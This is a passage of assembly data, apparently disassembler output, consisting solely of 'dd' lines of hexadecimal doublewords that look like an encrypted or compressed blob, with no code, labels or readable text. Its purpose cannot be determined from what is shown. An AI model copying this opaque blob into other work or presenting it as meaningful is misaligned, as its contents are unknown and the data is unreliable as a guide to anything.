		dd 0A4DBC125h, 65BE821Bh, 0DF9F6E66h, 0A130CF2Ah, 0C09CBCECh
		dd 0E1CA69E0h, 5975CA3Ch, 0D9A5A07Fh, 0B58C48DFh, 303546D1h
		dd 5FD65832h, 0B7F048EBh, 6B1D174Bh, 6E070822h,	0DEF99C78h
		dd 0CD7FDF4Bh, 49222705h, 75902A3Fh, 0E595B475h, 1A96AAF5h
		dd 546096BCh, 172D8C00h, 64B274A2h, 0A781B881h,	54214688h
		dd 0CAA135DCh, 3E56BB2Ch, 0BE78BA29h, 0CAA9B946h, 0CDD40864h
		dd 5C62A2CFh, 0FA5E028h, 180CB244h, 783CD28Eh, 0EDD54947h
		dd 4ABBF0D4h, 4A2FBB8Bh, 435B0DD1h, 0AA83C667h,	71CF55BCh
		dd 40FCC5D2h, 0C10F97E7h
		dd 0BA8994D7h, 0EB7C1009h, 0D78B3018h, 0D4ECC738h, 240A0562h
		dd 7B456C6Eh, 288E1255h, 5B4C2F51h, 1ECCAA7Eh, 0EE2E4B70h
		dd 77722A1Bh, 0CEF92EB3h, 5FE5C297h, 6A0AA03Bh,	0E1B40DA4h
		dd 806E89FEh, 4BD5CCBCh, 685528D7h, 0B5798EADh,	839DBDC9h
		dd 3F86EB7Bh, 0FC0FA812h, 0AFA49CC5h, 0E5F9F0C9h, 52CBE8F7h
		dd 0D1EC1DA2h, 1F9B1834h, 7CB8C73Eh, 0BD244ED7h, 0CF0A175h
		dd 0EB8A7156h, 97398AFEh, 0EDE43091h, 13E4E730h, 0E16316A7h
		dd 0CE762F8h, 0FA62A8E7h, 718187E6h, 0FF22647h,	0AFF6EDF3h
		dd 135D5536h, 7B4C7143h, 35940356h, 0A51407ACh,	0BBF7424Bh
		dd 0C4AA8A26h, 0DBA95EC5h, 84704B55h, 9212040Fh, 1E718BE7h
		dd 2BE1F5C4h, 0FDCAA640h, 0D202F3A5h, 4CE72AB7h, 0AF45A92Dh
		dd 12FC03EAh, 2BF5F63Ah, 0B5F92F41h, 41A7C2C7h,	550102E3h
		dd 0EB86DFEDh, 0F8B49F54h, 7BEF2C93h, 0B8F90513h, 2675DCE6h
		dd 169538D6h, 0E0A1C13Dh, 476266F4h, 89980FC4h,	0B1B08031h
		dd 0CE6AF07Dh, 0C28B7DE4h, 0B58F8BFh, 0C4313636h, 35BDC750h
		dd 7150CEEBh, 7F03B474h, 53A8F85Dh, 0FFFAE7F8h,	44AE72D2h
		dd 7D48875Ah, 0FB526B53h, 0E864D846h, 0B7B50B5Ah, 536D9FEFh
		dd 89397336h, 52A0834Bh, 0A6776D04h, 1EBED15Dh,	591A8C4Ch
		dd 0A1990930h, 0B8E5A55Ch, 6DA60427h, 0D4742862h, 0CBCD5EC5h
		dd 2AAC22C1h, 0DBD45566h, 68EE57E4h, 0D640D22Fh, 4C27C8ABh
		dd 56DCE4h, 52AC106Ah, 38E562FBh, 13ABA54Bh, 9B55E523h
		dd 0B03E4573h, 6AF9C957h, 0FEE26D8Eh, 38818E2Fh, 9B54F478h
		dd 0B34C5DCFh, 1B89F096h, 0B2F55639h, 144FC570h, 4638EDADh
		dd 361F049Bh, 2FE99C9Ch, 0F5B727D9h, 95F8F676h,	0C55405Dh
		dd 0B977E67Ch, 0BC8017EBh, 0F4DC1B23h, 0B61032FBh, 7144A6B7h
		dd 3480D692h, 0FCE46243h, 98DA5FEh, 0B9C7B71Ch,	22613B4h
		dd 8A4A9B4Fh, 0CBB3EF5Ch, 92EE7CC0h, 0A68FF215h, 0B46B1741h
		dd 0FCD3C757h, 0F81EC58Dh, 0B5D5428Ah, 7455C53Ch, 6825B289h
		dd 0E6BA1AC3h, 6BA6FC86h, 85F8AD7Dh, 60B7BF3h, 2F07D83Dh
		dd 340FA5C1h, 0C5C20EEAh, 0C7E99158h, 8646676Eh, 8D7A168Eh
		dd 716FFB1Ch, 0ECC4B9E6h, 121F249Fh, 0C4DE15BFh, 698D81DAh
		dd 98E8D840h, 51C651DAh, 0B676C350h, 0E055C0F6h, 0BF18EA92h
		dd 39110ED4h, 7F1B4A89h, 6AF2D9E0h, 491C2D76h, 739205A6h
		dd 3F13F445h, 8AF2888Ch, 0EE670BA9h, 90A49504h,	1925FB74h
		dd 0C1DE7AAEh, 4B447034h, 0AD403E90h, 0CE2D4F7Eh, 0ADDB95C8h
		dd 0BF0FEF4h, 5D6EAB46h, 7F87F2FAh, 0FCA9581Eh,	7E3E490Bh
		dd 8DCD8E50h, 0C8A7823h, 28D0CC6h, 94AB389h, 97869F7h
		dd 0BC14FEB5h, 37FB3E4Eh, 0E1E0CA02h, 0BE9E5368h, 63D79B6h
		dd 0D3F73FD8h, 0B71C9F39h, 55677898h, 0C4FCE419h, 0C64A6307h
		dd 49736256h, 15D81D90h, 0A28B92F0h, 9959C404h,	0F1608CACh
		dd 0D7C66C87h, 54D2A9Bh, 3C9E5E6Bh, 44D49EABh, 66F1DE06h
		dd 5AF5E14Fh, 26F1ED71h, 8217461h, 45085F14h, 71C47CB1h
		dd 0DAD58A9Fh, 957EABFDh, 0EBE3A916h, 2FB32016h, 0F76041B9h
		dd 2AA5A103h, 5F957A7Dh, 6D4A6B7Ah, 856576F6h, 58EE8D6Dh
		dd 1948A08Ah, 5B26A97h,	0EF57EE0Eh, 0F0055122h,	382EFA2Ah
		dd 28D0EB8Fh, 59A35DA2h, 2F0343A0h, 0F8488E8Fh,	4083BFE8h
		dd 0A7BB4AD9h, 0A54A657Eh, 46E558C6h, 19FEE850h, 17C1CFD3h
		dd 0F055CBD7h, 896C76DCh, 0D0D652E6h, 6E9351A7h, 9D199524h
		dd 0AFF90707h, 0FB3F039Dh, 6BF377A5h, 954286DCh, 0C8281A7Ch
		dd 9928D15Ch, 0F769C4D4h, 37B698E7h, 6BE3C4B1h,	0CEF028B0h
		dd 0EB46E590h, 81E778F0h, 5BEFD207h, 0EB5461FEh, 0BE51DECBh
		dd 668E0898h, 0BC167C9Ch, 0B0C738D4h, 29058D4Ch, 0F3EFEF15h
		dd 0E9FCDF7Ch, 0B643C39Bh, 0A29E4EDCh, 0FB49E388h, 41F5C514h
		dd 9E3520E0h, 0AB65119Dh, 9FAFDAA2h, 0DE775C16h, 0AB185AB0h
		dd 3AC8FE0Ch, 0DA045F2Ch, 8953E6BFh, 277E0BB2h,	8AE7B469h
		dd 2AAB6C9Ah, 3C38AF3Fh, 0E8EFF5B8h, 0FC8CC074h, 6386D132h
		dd 0A2E10627h, 0FC28E644h, 0F5AB6B0Dh, 76E9A669h, 0D60945A5h
		dd 4EF5928h, 0FC6BDA0h,	60C7C7BDh, 80AF6DF3h, 0D43911C5h
		dd 0DD0AA954h, 0C3AA3EBEh, 258847FDh, 0D32328D5h, 0CF0B0F82h
		dd 6E53739Ch, 554CC7E3h, 0E50EEDA0h, 33DDB17Dh,	38082B45h
		dd 558542FEh, 77E76CF6h, 0CC178D8Eh, 9FD239C6h,	4A6D29FFh
		dd 68F5960Fh, 7255A6A5h, 3D1C51EAh, 8126CD82h, 39E3B0ECh
		dd 3BD80728h, 0B937CCC3h, 2A0452FFh, 0CCE71A65h, 94D15CBFh
		dd 0B6936A8Dh, 0FD405140h, 638771C2h, 4EDE76F7h, 0BABFE3EFh
		dd 85D6661Fh, 36A754D2h, 0F625054Eh, 28EBD78h, 0B7655589h
		dd 34EF230h, 53BA084h, 3F1B2F96h, 3ACC5D74h, 0B46C93D1h
		dd 0F3C0DF7h, 635B593h,	76170FFCh, 90F1A8FBh, 212C7E68h
		dd 572157D8h, 328DBEEAh, 29FECF9Ch, 6EE7387h, 0F32EA13Bh
		dd 5BC41BA3h, 6F5DC337h, 7BD132B9h, 8DA85AD1h, 0F91D7031h
		dd 176E73B6h, 2B0D0C78h, 7EB0F595h, 0D2237C22h,	0EEC8D945h
		dd 471C4330h, 0F7C721E9h, 0D4320DF3h, 909B70Dh,	0E92B7D34h
		dd 0E76B2753h, 4B55340h, 0EB052472h, 1EE3256Bh,	87E175EBh
		dd 1847C537h, 7C036782h, 7E18EFD5h, 383CB611h, 0A208474Bh
		dd 73ACD815h, 7A3A5243h, 6BF43522h, 0B36B528Ch,	61883179h
		dd 0A38165A2h, 34A0E843h, 0AC361B1Bh, 0F365711Dh, 8573EB75h
		dd 589824BFh, 0F46EC9B4h, 56717E23h, 8C6702AEh,	92B0284Eh
		dd 56854DDCh, 0C9ACCB80h, 0EA32664Bh, 0CC1587E0h, 0D3A1980Bh
		dd 7962A2E7h, 200D885Dh, 5031C359h, 0C4AED54Bh,	0F11374B2h
		dd 2F76AB4h, 0CF04FB81h, 40D3699Bh, 0B780DFE6h,	23C189CAh
		dd 0C087AEFAh, 709EE5C0h, 1DCEE9EEh, 1222E6CAh,	89E13B59h
		dd 310889DFh, 6D2EC9B5h, 179BF1C7h, 0C0F4A58Bh,	5AB11FEDh
		dd 8B2F506Bh, 9AEB9328h, 4F3DE73Ah, 0CFE51235h,	878E81F0h
		dd 9DB0FEB5h, 0F8FA4E1Ah, 2B53BF97h, 649F6565h,	15099E0Dh
		dd 0E3A5215Eh, 54175C65h, 3F054495h, 555BDBB9h,	3E5E61F9h
		dd 3F67BEDFh, 9F8C132Ah, 5FE58491h, 0ED26D75Ah,	1414F6FEh
		dd 65495C1Eh, 17E10F27h, 305E643h, 0E5725569h, 788B2546h
		dd 0DDA5783Eh, 0E323D2D4h, 0B2E78E2Fh, 50DA1453h, 0CF64AE22h
		dd 0E8057607h, 0EDE6D767h, 5F8FFDF1h, 4063F6AEh, 48EE0ACEh
		dd 76CA0D37h, 0EDD6EBB9h, 0C92D4A2h, 40A6DBD0h,	0D749C617h
		dd 0F151EA51h, 2BA233BFh, 0E8284A75h, 0EB32572Fh, 0E405F5F8h
		dd 11C09B09h, 0B52D12C1h, 0EFD6F8B2h, 8DF67EA3h, 0BE5889F3h
		dd 0FB69BE59h, 0E94BEE92h, 8AC1AD10h, 73C2C209h, 9E01E2EAh
		dd 84F49948h, 0BA6B5A38h, 0CEDF9A80h, 0A5395013h, 38085978h
		dd 87C619B5h, 84533E2Bh, 6F83E0FAh, 0B91DDD09h,	16A03E2Dh
		dd 0B81BCABDh, 0E6BBDCC6h, 4B0C8CACh, 80B74C5Fh, 0B25E2DD1h
		dd 99E7B1C0h, 9402A5E3h, 2DC7ACD4h, 13303853h, 38ED2A9Ah
		dd 8FCD8BC8h, 0D36C708Bh, 0E4C35BD5h, 0A42E2B6Dh, 0D5B9C289h
		dd 1D4EADA9h, 0DFC12B7Fh, 9BECBDAAh, 6719E3C5h,	0C120B5D7h
		dd 7E2EF752h, 50DDBE38h, 867D9766h, 532CBDF9h, 4A7C67ECh
		dd 17F2B00Bh, 0F46E30FCh, 6E7B360Fh, 0CD01F626h, 97A91942h
		dd 635BB7FBh, 0E04676ECh, 0EBD1B83Bh, 9CED63B5h, 895651BFh
		dd 0E42FD92Ah, 2F9B17DAh, 822A3EE0h, 86FAC943h,	9FED08F4h
		dd 5F86E03Bh, 81EFFC9Dh
		dd 0FD9F5218h, 0DE361FA2h, 0C472B28Ch, 592B910Fh, 5786F8E0h
		dd 316E693h, 89CBAABEh,	0DE77BF86h, 1569E403h, 56958A73h
		dd 0EEDBF321h, 0F9D1C17Eh, 9562D703h, 958BA0EAh, 1279E45Eh
		dd 0D6ADCAADh, 0F3993552h, 7FBE6E58h, 4BF49A99h, 6A1318B4h
		dd 7E9E0BBEh, 0B3006794h, 81F4022Ah, 150F4A1Fh,	0CA50F27Bh
		dd 0DCD58AB8h, 4B4611A4h, 11F17E0Ah, 2EC686D3h,	9655B8F0h
		dd 0EDC7E54Ah, 0FDE566F4h, 0B375AD16h, 40A8236Ah, 5B1BBEA9h
		dd 674AA5FDh, 93541765h, 551E2972h, 4751E07Dh, 0A2988D14h
		dd 3695EB5Bh, 0ABEC8167h, 0D123AB55h, 0C34AAF8Ah, 0E464311Ch
		dd 0B42D3AEAh, 3E36248Eh, 73C0ABCBh, 507F18A5h,	35FAE450h
		dd 0A5FD061Ch, 36E553FDh, 7A9F5DC5h, 3F1EED72h,	512A5E30h
		dd 5F1A9EC2h, 5B976E63h, 4AA446F8h, 99876B1Bh, 0EF1BC962h
		dd 0C37F448Fh, 0D3FDFC9Bh, 1CC3D799h, 0A0FD6FEh, 0DC0CF6F1h
		dd 24CA4F76h, 0CE1C862Eh, 863678Fh, 0BADE6D8Ah,	40E2B760h
		dd 93CDF6F3h, 0A7512C68h, 0A5A0D58Ah, 0FEBA56ACh, 541F63E5h
		dd 5071A30Ah, 0E1AF8D90h, 0F124F7CCh, 4200B810h, 0D4A10D4Ch
		dd 0BF03220h, 334E7C4Dh, 21314B2h, 99DCE2A1h, 0D48FCE8Eh
		dd 8B685443h, 0B88AC3E8h, 777867EEh, 2B8C5A33h,	0EE047E27h
		dd 0FBA51CB8h, 0A4E20563h, 0A4EB4654h, 0A33B82F3h, 389B8005h
		dd 24E6B775h, 9DBB7CD3h, 334A2E8Dh, 43401474h, 0D358CAB3h
		dd 3B2BA10Bh, 0CEC50633h, 0D114B63Dh, 7F4A3AB1h, 8E4B95C7h
		dd 822F6AA7h, 67274C39h, 4BCEC3BAh, 1424B7ECh, 0B2355536h
		dd 0AF409DDDh, 0EFDEB5Eh, 529C17DFh, 285DD96Ch,	12A2C541h
		dd 1F1F25BBh, 0D025E7FDh, 0D1498ECEh, 57FA7Ch, 4260FACDh
		dd 6845F6A4h, 61DF8C2Ch, 957EFAC8h, 86B924EBh, 491CD1B8h
		dd 40833897h, 139D3F6Fh, 7AEE54EDh, 88F3E5AEh, 560A72DAh
		dd 6BA6AB79h, 0E1D8CDA3h, 0C5316BF6h, 9E0A540Dh, 23C262EEh
		dd 0FA7050Dh, 84C66A0Eh, 73CFB64Ah, 9A192B73h, 9AB12B68h
		dd 29F4BFF7h, 12A61925h, 0EFC6573Ch, 0D8F133Fh,	119079ADh
		dd 98F73D1Ah, 564B9DABh, 4E6A57D4h, 0EF26076h, 9516CE37h
		dd 0DB837263h, 2A152B04h, 0ECD8C78Fh, 0EF924F88h, 0E145C607h
		dd 0B96FD0CAh, 0E928F8F5h, 0D9E802B8h, 0E651CEE3h, 27FE2901h
		dd 1DBFD47Dh, 5AD12EFCh, 5BCE0825h, 40B02692h, 155C2F86h
		dd 448BE42Bh, 8659598Bh, 0B0EAD70Dh, 6C871B61h,	6B5C0D1Dh
		dd 87029743h, 6F562D4Fh, 277CB26Ah, 0E81CCE5Ah,	0B8DF6A15h
		dd 0D4D87134h, 194CE142h, 4641FAC7h, 0C9FC639Fh, 0BBD9DB66h
		dd 3608DC64h, 0F2E3A46Ch, 0BBD4E637h, 0E9E67A7Fh, 9FDD0780h
		dd 0A05B07FBh, 0E1DD6F2Dh, 28A649A3h, 9AF135ABh, 41B11973h
		dd 0AB2CD06Bh, 63BD7D80h, 6BED22CAh, 28533B7Ch,	0E9F97050h
		dd 9C99B8F9h, 0E272532Dh, 590DD8D3h, 0E0353A67h, 3D3BC814h
		dd 2DC6381Fh, 0E3FE77E8h, 4F7E3F5Dh, 0F1E56E1Fh, 5F68757Eh
		dd 524D4796h, 338A50EFh, 9B85A25h, 3E07FE16h, 87723C28h
		dd 0DBEDE521h, 4A81548h, 77EA586Dh, 0F126DA28h,	0DB095FE5h
		dd 0D82EE151h, 0EE052B78h, 0BC0FAB2Ch, 0AD52F7BBh, 37751B97h
		dd 1AD3F9D3h, 3F19BCA8h, 36BB9DBCh, 6A238D8Bh, 76DB47F3h
		dd 99FA1C0Ah, 0F683114Ch, 8A2A80E4h, 0A2471305h, 0A07810A6h
		dd 0DB1B444Eh, 0E3AE9D3Eh, 70ADCF87h, 591ADB65h, 29756936h
		dd 6431ADDCh, 45F18800h, 0DB260841h, 6371F604h,	2FE508CCh
		dd 0B3F8B0D4h, 0EEB74272h, 0D4DCAA2Fh, 61175969h, 0D3CBAB82h
		dd 0A52A4436h, 0A39D317Eh, 2B0E2A85h, 643F15D4h, 5FE85E18h
		dd 7CD40F6Ah, 6D887BBFh, 165FDBE8h, 0D8A66h, 781F0C6Bh
		dd 1791B033h, 4D7E6D6Fh, 22FB912Dh, 0D1ACCE78h,	0E685298Dh
		dd 0ADB74C3Dh, 99F1BC72h, 60EFBEA9h, 22F1D8FAh,	0BAB0BFC2h
		dd 0E04FB58Bh, 0A407421Eh, 2AB11563h, 5823DD85h, 0E3540FC1h
		dd 0B1A2EBA0h, 977B5E2Bh, 21F2118h, 0E39EB18Bh,	23F25C37h
		dd 0EB22AB24h, 76AE4D29h, 0FBA12892h, 0BC9F361Bh, 0F094B67Fh
		dd 0B8D5B0ECh, 32A953C9h, 0E44B8503h, 46A2EF76h, 65BC443Fh
		dd 5FC54344h, 361A3C0Fh, 0D995DAABh, 0B0367EF0h, 602656D3h
		dd 989599D2h, 0B9FCCB6Dh, 8BBFF932h, 8F776A76h,	0C563EED5h
		dd 0FEC3BF6Eh, 55B803EBh, 66D1A555h, 0D0C5ABEDh, 0EFA0A7ECh
		dd 7D17FBAFh, 0BC3A54B1h, 0C94256A7h, 50A1885Ch, 0B65DC4C6h
		dd 0D901F88Ah, 0B30F1BEDh, 0D9E5E8Dh, 0EB192A17h, 0CE569C12h
		dd 27C44593h, 0E0DB571Bh, 984FC1DFh, 0A11AFCACh, 1ADD2D68h
		dd 4F396AA8h, 79255B7Dh, 0D94868B9h, 29F0D545h,	3F59BB61h
		dd 480C12FFh, 0ADBABA5Dh, 56AE251Ch, 370FB8BDh,	0F6052739h
		dd 358E2456h, 0D16CB0A2h, 6D340F21h, 42B4DCFDh,	0CB17977Bh
		dd 0A8A4839h, 5CB9B19Ah, 8B70246Eh, 0FA09A09Fh,	0B13F0AFBh
		dd 75AA7FAEh, 0EA857019h, 0A8A878BEh, 0E17B09ECh, 5A5F6852h
		dd 0BDDFA943h, 0CA84E252h, 346434BFh, 6A74A24Ah, 92EBB05Dh
		dd 0E8289FA1h, 0C71A447Ah, 0C181FB0Bh, 1B450B80h, 0FA4E6407h
		dd 0A1B2F64Ch, 0E40A8049h, 6F957DAh, 2DE49C58h,	8C024237h
		dd 0CB1B52F0h, 0CBD807C1h, 90ED4EA6h, 371ACEE2h, 605BA5E2h
		dd 0AE5D26h, 0E3D9B4D8h, 59185EDh, 0D3C9DE55h, 0FE81DD2Eh
		dd 13D56595h, 0E21B7AA0h, 51954CDEh, 0D160F9CFh, 7C9C02D2h
		dd 7DDDCBDh, 0FA239AEEh, 1EF80EAAh, 0DB7B5C5Ch,	0BF1B093Ah
		dd 0D958A540h, 15712F96h, 0FDE82E6h, 6584547Dh,	770B3C9Fh
		dd 3EE861C0h, 77EDA610h, 53719858h, 0D174410Ah,	0BC9F6C76h
		dd 99270DC9h, 70DDAD9Ah, 0F22A02C1h, 61255ACBh,	441A588Dh
		dd 0DB892B4Ah, 0EE7A0230h, 0D5E31E65h, 0BA8A84E3h, 5767E93h
		dd 50BD9574h, 2D2C6BA6h, 0B6CAC47Fh, 0C75D6909h, 0FD47481Eh
		dd 0D2FF53A8h, 272BEDFEh, 5D848CBFh, 0C9EEA304h, 767E15CCh
		dd 553BF4FFh, 9C17781Fh, 357E83C6h, 3AE0E6D1h, 943B1C80h
		dd 7E07B4A2h, 9052113Eh, 9B3BA735h, 4AC3BE40h, 0F471AB24h
		dd 10178FC0h, 4B4ED5DEh, 56315979h, 0A1EED577h,	0BFBF403Dh
		dd 698EA17Eh, 0A727172Bh, 0F770C3C3h, 0BA8619C0h, 90E297E9h
		dd 217CA9C7h, 0A6D3FDEDh, 0C9597B38h, 4C2C3CD6h, 6ABDB503h
		dd 2A052702h, 0AE265FBFh, 0B315D7D8h, 94959BF4h, 0BE09AAFEh
		dd 82CF9C59h, 0C92A99F9h, 14C2D5Fh, 0FE28E4DAh,	57E8360h
		dd 0ABAF8A01h, 405ABEF9h, 71DF6CB5h, 0FF70A78Bh, 0C3558AC2h
		dd 0EC49B687h, 982F5C53h, 0A1FB9AE9h, 5C1E138Ah, 405B5162h
		dd 0FBF54C29h, 0EEDE5B74h, 855BDE4Bh, 3C7845F5h, 0B56EDC0Ch
		dd 40A696EAh, 569CB96Eh, 0D2BF73FCh, 5D784BDCh,	0F18AF7E3h
		dd 0B03DB107h, 0D3999542h, 2E8EFD2Eh, 0F7DE2177h, 0EDEA9F0Bh
		dd 653EB017h, 0B569F87Dh, 91449344h, 4E616C8Ch,	0A02C91E2h
		dd 7BDAE9FEh, 0A17AC2BEh, 0D6784B12h, 44324B27h, 0F7DA9A8Ah
		dd 1CBBA9B6h, 0C2871662h, 0BA9E482Ah, 7304E7B3h, 0F6482AE2h
		dd 0FF78455h, 0FF41479Ch, 9C07C3F8h, 7EC4A708h,	1B641B50h
		dd 11F502B6h, 17D3772Bh, 0C76506DBh, 70C5729Eh,	1F7238AEh
		dd 67AEB25Dh, 549CA685h, 588B621h, 1898A05Fh, 297B2603h
		dd 3195B2F9h, 276732EFh, 23616295h, 0EFE57CB0h,	8150F243h
		dd 6D0B6B93h, 2B7D916Eh, 14161E98h, 4EC16AACh, 334F5C19h
		dd 83057F04h, 0C2C210B9h, 50F0B25Fh, 0A3E131A5h, 4C122168h
		dd 25058339h, 947F13C1h
		dd 0CB47C094h, 211E351Eh, 4167A420h, 0AFD0AE74h, 0F4EF12B2h
		dd 0F97E6C6Bh, 907735A1h, 2D1827A1h, 0DAF16545h, 9284A8FEh
		dd 0B223580Eh, 4C0E9D97h, 3BF732DCh, 0E56D1B9Eh, 366F4775h
		dd 0D1686A65h, 9A99D54Dh, 145F437Bh, 9C7CE6Dh, 7F318BD2h
		dd 9154A0E0h, 5AC8CBCFh, 0B8EAD9B7h, 0FEDAB51Bh, 17DDCA0Dh
		dd 9A045F41h, 0BAB30B91h, 647C2AEDh, 0C71839E6h, 8802519Eh
		dd 4A1F8FBDh, 0D80A565Ah, 4EBBED7Fh, 6D6879B0h,	0AD090A5Bh
		dd 0D0C00AF9h, 0FA3174F0h, 25C552C0h, 3456B929h, 5EB0BB8Dh
		dd 1E3F81DAh, 1FB74AB6h, 0EB6ADF0Eh, 1D0FA370h,	0E500642Fh
		dd 0C186C4D5h, 191668EFh, 4757A55Bh, 0E357166Bh, 1E1E5CA1h
		dd 0E1D8BCBDh, 0F689E385h, 0AB9B42EAh, 0C0F1EE1Dh, 9BFFC959h
		dd 0AF18F25Fh, 7FCE9656h, 15C89F0Ch, 5A61EF46h,	85E18CCh
		dd 0EE1C3CBDh, 0D55CC7EBh, 8322DEB2h, 0F90F5FA3h, 6760F9C6h
		dd 0B280A57Ch, 1B6FBE5Eh, 0DC8DE2E1h, 0D6A5BF4Fh, 81DA68F3h
		dd 59B53390h, 2CDC4A1Fh, 0D2ED1E7Eh, 0BAD472AEh, 48E3B8C9h
		dd 84FCC629h, 0C37BA93Dh, 0EEC19FE5h, 7D5E1E87h, 6D1767DAh
		dd 0A8DAEFCEh, 2ED52D72h, 3C3534E7h, 0B764C68Ch, 9B52BDACh
		dd 559B775Bh, 6BD5DD8Dh, 0E66F18FAh, 0BA1BC47Eh, 0A9585566h
		dd 0A5D3AC46h, 8845F0FDh, 91CAAA7Fh, 0AF4C0145h, 6BABDD75h
		dd 83EFC4A7h, 0D9F8069Eh, 1590125Fh, 0ECDC6766h, 0E8D4A2AAh
		dd 2AF646B7h, 0B69F98F8h, 1E4F3E78h, 0FD7E21F8h, 0D6B5D7F1h
		dd 3F0EB0h, 981EAFA9h, 0E3085DB1h, 0F8D8FDC3h, 2D3880FDh
		dd 0A5DC9F09h, 2EBF22E9h, 3E96387Eh, 6C14E00Fh,	32B849FCh
		dd 0F2CFF2C9h, 7AA5155Dh, 0E79456DBh, 0CA33A2F9h, 0F440E315h
		dd 9A7A2513h, 0EE67F7F8h, 34718784h, 21CF74F2h,	0A1437F29h
		dd 88640F8h, 0B743509Ch, 89BE12BBh, 0F94B0F37h,	6E2B0357h
		dd 8915F0FAh, 58B69E38h, 3A6AAAF2h, 8EFFA4Dh, 0B238D0FDh
		dd 0B6BCA37Fh, 6078733Eh, 6F8F30A9h, 0BA647DA8h, 0A3F43D68h
		dd 0F0B9BF5h, 9099187Eh, 7F012B53h, 99C09DCBh, 0FE2E3211h
		dd 197FF074h, 7E089D30h, 570BDAD8h, 5376DF61h, 25211C8h
		dd 0F1D06E0Bh, 0B3A5B306h, 5E4B5382h, 54AE418Dh, 5676FC79h
		dd 8AAD8E7Ah, 3B44B2FAh, 429EEBDCh, 4A2F63F8h, 0E38B69E1h
		dd 0BF89A21Fh, 0B1C760B0h, 1592AB77h, 26656413h, 915702FCh
		dd 5DA2F585h, 8DD7AA6Bh, 0A20DAD66h, 0E699D481h, 8B21E64Dh
		dd 0CB3F55C6h, 0A81A7439h, 788DD7C6h, 7DD67CCBh, 1CAD4CE0h
		dd 171BB627h, 5DACCEC3h, 16221E9Eh, 34D96E54h, 0DF509EFAh
		dd 0B165B48Ch, 1ED64DE0h, 959A0D8Bh, 84F859BBh,	0D4CE5761h
		dd 39686E7Fh, 65501D5Fh, 2E949FC1h, 0C28CB786h,	5D350F83h
		dd 3CC2C5Ch, 655BD07Bh,	2FA08BEh, 4CB79CE6h, 59785951h
		dd 0E99A5A90h, 0FC54FC2Dh, 29C03E72h, 996CD88Ah, 0C08D7E04h
		dd 2F23A541h, 0E02E4375h, 2D135777h, 0BC0DEBDFh, 6A71535Ch
		dd 14C4601Dh, 6582B7E3h, 0A3E92858h, 9AA9D08Dh,	0E9BC14B9h
		dd 0D2A417DCh, 0EDD3B3E7h, 0ACA7FE47h, 0EF9722FFh, 28D43784h
		dd 431C913Ch, 0FC505DAEh, 0C40073A1h, 0AF0510C1h, 0B079BF9Fh
		dd 67BB884Ch, 1DA5F155h, 0B83DE573h, 0A7839B24h, 0ABDCDCEBh
		dd 0A2712B85h, 0D50FABCDh, 5269A671h, 8B4AC1DEh, 397A46D7h
		dd 4178A8DAh, 50164EE5h, 0C3270ED6h, 0B4C162BDh, 4362D659h
		dd 70FE471Fh, 0F87567EFh, 0F40DE2D6h, 0B2511C5Bh, 0DA25A7BFh
		dd 425A5DE9h, 0BD7458E4h, 21AD8E41h, 0B7B26BF9h, 89A14ADDh
		dd 72121EA1h, 8A6DA8C3h, 0C73938AAh, 99DFC2B9h,	64471CC0h
		dd 2CF8BE8Bh, 0D1D1CE8Dh, 0EF5F8F6Fh, 0C4810E9Ch, 9BC5286Eh
		dd 32B41A15h, 3A1BFEDBh, 6A7B47B0h, 0A2EA356Ch,	0C5A1D911h
		dd 41295B1Eh, 0EBFC6D46h, 6B749FA9h, 44B8FE64h,	0AAFBDE9Fh
		dd 0FAFD1076h, 0C4A455F0h, 0CEE2C7DAh, 1E2DDF50h, 0F09860F8h
		dd 87497F25h, 0DE7985CDh, 0F016F7E3h, 8A02FE2Bh, 6188D636h
		dd 0BE3B1E8Ch, 4EFE66B0h, 0F88CBF44h, 0FDAE7221h, 0C9B015E9h
		dd 7D558EE5h, 9C1D58A7h, 5F1E222Dh, 0ADAD4346h,	17056C1Dh
		dd 4556CEF7h, 0C442E75Fh, 7F8696D9h, 3BC691E0h,	0EF5C18F4h
		dd 0FB9E225Fh, 711E8F03h, 2B6A92E0h, 91127D95h,	0DD5DD3F1h
		dd 860BDDBAh, 0C168CD38h, 0AEA686E3h, 2B93BD56h, 21AE6B0Bh
		dd 0D6A1CC4Ch, 8184CE47h, 63EEA0F7h, 733FD615h,	0BF4F97E0h
		dd 0A4927A46h, 25DA0D45h, 7CF38FEh, 0D8C1EE3Eh,	71CC1ED0h
		dd 199A08CCh, 0F82BD2BDh, 65D7F54Bh, 83027D2Dh,	470F83C0h
		dd 47E1AFD3h, 0AB80C367h, 0BB654523h, 4DFCEEEBh, 3B50FE36h
		dd 1FA83C4Eh, 61D3A84Fh, 0CFB3D668h, 84F25AE7h,	0C587381Eh
		dd 5B964D1Ch, 91B5C767h, 6391B7A1h, 0E77460A0h,	0C570CB97h
		dd 482240F3h, 697F58F0h, 3F6A1D1Eh, 20EB47ABh, 0B5D5B134h
		dd 0C4F8398Fh, 5E4B9ECAh, 3C5D7BFDh, 64C558EEh,	0CBDF1BBBh
		dd 0E3683008h, 71D622h,	83B993D4h, 14166962h, 0E7F8EC68h
		dd 2FAF2544h, 840902FFh, 0DF4D4BAFh, 3BCECEEAh,	57CC1FFh
		dd 0F732F69Ch, 0A762FA9Dh, 6B9A91CFh, 8E9CDD49h, 0E78F461Fh
		dd 0AA7F7AC1h, 49E01AA9h, 7CBB4DBh, 0B970E909h,	0B217156Eh
		dd 0EF7C0BF2h, 0DF15DD5Bh, 0D6D85B28h, 135B57ABh, 2244516Dh
		dd 0B9467AB1h, 4D82E598h, 0EAA2078Dh, 65877B7Bh, 0B1E0B69h
		dd 0C1E1FC79h, 79B8D663h, 0FFEAC697h, 0D259E96Fh, 2550AC1Ah
		dd 0D74095A2h, 0FBBCA5F9h, 20A314F8h, 1DC1C7B2h, 0D3470B3h
		dd 74EF47F2h, 0BD69DCD9h, 69D7BC03h, 0A2AB8ACDh, 41A1B98Ch
		dd 408C719Eh, 9887FB49h, 6E349416h, 2680A0CFh, 355EA079h
		dd 91C5AA04h, 8DBCD1E9h, 787848E8h, 7E9AE541h, 0F9A71F55h
		dd 70EBB281h, 46546FF1h, 2D1ABD4Dh, 50B48D4Ch, 3E916EEBh
		dd 0B4692B14h, 64F30574h, 5092CF3Dh, 0AAAA4FF3h, 0AB550CEh
		dd 3F2982C8h, 4ABABB74h, 1EE3C0B4h, 0E8B4016Fh,	0FB0D70D7h
		dd 7910A9E2h, 0D5ED7170h, 0FEABB051h, 0A491A1F8h, 54A4B4E0h
		dd 1BC8E4ADh, 56124A46h, 63BCCEFEh, 7258BCFEh, 7C33432Bh
